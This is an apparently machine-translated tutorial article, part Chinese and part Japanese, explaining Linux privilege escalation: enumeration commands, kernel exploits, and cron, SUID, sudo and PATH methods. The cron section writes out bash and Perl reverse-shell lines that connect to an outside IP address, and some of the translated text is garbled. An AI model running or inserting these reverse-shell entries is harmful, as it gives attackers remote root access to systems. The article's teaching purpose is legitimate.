ホームページ  >  記事  >  運用・保守  >  Linuxの権限昇格とは何を意味しますか?

Linuxの権限昇格とは何を意味しますか?

青灯夜游
青灯夜游オリジナル
2023-03-15 10:46:192484ブラウズ

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限;Linux提权一般是指获取root用户权限的操作过程。Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况;提权是否成功的关键是信息收集是否完整。

Linuxの権限昇格とは何を意味しますか?

本教程操作环境:linux7.3系统、Dell G3电脑。

linux提权概念介绍

提权是什么

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。

详细来说,就是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

Linux提权一般是指获取root用户权限的操作过程。

Linux提权目的

提权操作有风险为什么还要进行提权?什么情况下需要进行提权?获取高权限之后可以做什么?

通过命令执行漏洞获取的一个反弹shell或是通过Web漏洞获取了一个Webshell后,一般情况下权限都较低。在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。Linux中安装的数据库、中间件等一般都不是以root用户启动的,通过数据库或是中间件获取到的权限是是低权限的。

获取一个root权限是每一个黑客的梦想。

  • 读取写入服务器中的重要文件:
    • 修改root密码
    • 替换系统命令
  • 在系统中放置更为隐蔽的后门:
    • ping后门
    • Rootkit
  • 保证服务器重启之后权限仍在:
    • 内存后门

Linux提权本质

Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况。

Linux信息收集

任何提权的第一步操作一定是对操作系统进行信息收集。提权是否成功的关键是信息收集是否完整。

  • 内核设备信息:

    • uname -a    打印所有可用的系统信息
    • uname -r    内核版本
    • uname -n    系统主机名。
    • uname -m    查看系统内核架构(64位/32位)
    • hostname    系统主机名
    • cat /proc/version    内核信息
    • cat /etc/*-release   分发信息
    • cat /etc/issue       分发信息
    • cat /proc/cpuinfo    CPU信息
  • 用户和群组信息:

    • cat /etc/passwd     列出系统上的所有用户
    • cat /etc/group      列出系统上的所有组
    • grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'  列出所有的超级用户账户
    • whoami              查看当前用户
    • w                   谁目前已登录,他们正在做什么
    • last                最后登录用户的列表
    • lastlog             所有用户上次登录的信息
    • lastlog -u %username%  有关指定用户上次登录的信息
    • lastlog |grep -v "Never"  以前登录用户的信息
  • 用户和权限信息:

    • whoami        当前用户名
    • id            当前用户信息
    • cat /etc/sudoers  谁被允许以root身份执行
    • sudo -l       当前用户可以以root身份执行操作
  • 环境系统变量信息:

    • env        显示环境变量
    • set        现实环境变量
    • echo %PATH 路径信息
    • history    显示当前用户的历史命令记录
    • pwd        输出工作目录
    • cat /etc/profile   显示默认系统变量
    • cat /etc/shells    显示可用的shell

内核漏洞提权

内核漏洞提权指的是普通用户访问操作系统内核,利用内核漏洞将权限提高为root权限,一般首先需要知晓操作系统的内核,内核的版本等信息,再寻找内核漏洞的EXP进行提权

linux常用查看系统信息命令

uname -a 查看系统全部信息
uname -r 查看内核版本
cat /proc/version 查看内核信息
cat /etc/*-realease 查看CentOS版本
cat /etc/issue 查看Ubuntu版本
cat /etc/redhat-release 查看RedHat版本
env 查看环境变量
echo $PATH 查看当前环境变量
awk -F: '($3==0){print $1}' /etc/passwd 查找UID为0的用户
find / -user root -perm -4000 -exec ls -ldb {} \;  查找设置了SUID的文件

例子:

1)查看系统的内核版本

Linuxの権限昇格とは何を意味しますか?

2) kali の searchsploit を使用して、対応するカーネルの脆弱性を見つけるか、オンラインで対応するカーネルの脆弱性を検索します。

Linuxの権限昇格とは何を意味しますか?

3) gcc を使用します。 C 言語プログラムを実行可能ファイルにコンパイルし、ターゲット マシンにアップロードして実行し、権限を root 権限に昇格します。

Linux でのその他の権限昇格方法

1。スケジュールされたタスクの権限昇格

使用原則:

  • /bin/sh が /bin/dash を指す場合 (ubuntu のデフォルトはこれで、現在のターゲット マシンもこれを行います) * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
    I don'tこのようにシェルを再生すると、なぜ非常に遅いのかがわかります。辛抱強く待ってください。
  • */1 * * * * root perl -e 'use Socket;\(i="106.13. 124.93";\)p=2333;socket(S,PF_INET,SOCK_STREAM ,getprotobyname("tcp"));if(connect(S,sockaddr_in(\(p,inet_aton(\)) i)))){open(STDIN,">>&S");open(STDOUT,">>&S");open(STDERR,">>&S");exec("/bin/sh -i") ;};'

2. 使用率 SUID 権限の昇格

  • SUID の概念: SUID (ユーザー ID の設定) は与えられる権限です。ファイルへのアクセス許可は、ファイル所有者のアクセス許可の実行ビットに表示されます。この種類のアクセス許可を持つファイルでは、呼び出し元が実行時にファイル所有者のアクセス許可を一時的に取得できるようになります。 SUID を使用すると、呼び出し元はファイル所有者としてファイルを実行できるため、SUID を使用して権限を昇格するというアイデアは、root ユーザーが所有する SUID でファイルを実行することです。 root ユーザーの ID。では、なぜ Linux バイナリにこの権限を設定する必要があるのでしょうか?実際には、多くの理由があります。たとえば、ping プログラムはネットワーク ソケットを開くために root 権限を必要としますが、プログラムを実行するユーザーは通常、他のホストとの接続を確認するための一般ユーザーです。

  • SUID 権限の昇格: suid 権限の昇格とは何ですか?ファイルには s フラグがあり、ファイルが root に入る場合、このプログラムを実行することで root 権限を取得できます。プログラムはコマンドを実行できる必要があり、通常のユーザーから root 権限にアップグレードできます。

  • 条件を満たすローカル ファイルを検索します。

    • find / -user root -perm -4000 -print 2>/dev/null
    • find / -perm -u=s -type f 2>/dev/null
    • find / -user root -perm -4000 -exec ls -ldb {} ;
  • 特権を昇格できる一般的なプログラム

    • nmap vim find Bash More Less Nano cp netcat

3. SUDO を使用して権限を昇格する

Linux で使用可能システム sudo は、root のみが実行できるコマンドを実行します。設定ファイルは /etc/sudoers に保存されます。sudo -l は、現在のユーザーが sudo をサポートするコマンドをリストできます。

コードレベルから脆弱性を分析してみてください。

4. 環境変数の権限昇格

  • 現在の環境変数を表示します:

    • echo $PATH

5. root権限で動作するサービス

  • サードパーティソフトウェアを含むroot権限で動作するサービスを提供可能右。

関連する推奨事項: 「Linux ビデオ チュートリアル

以上がLinuxの権限昇格とは何を意味しますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。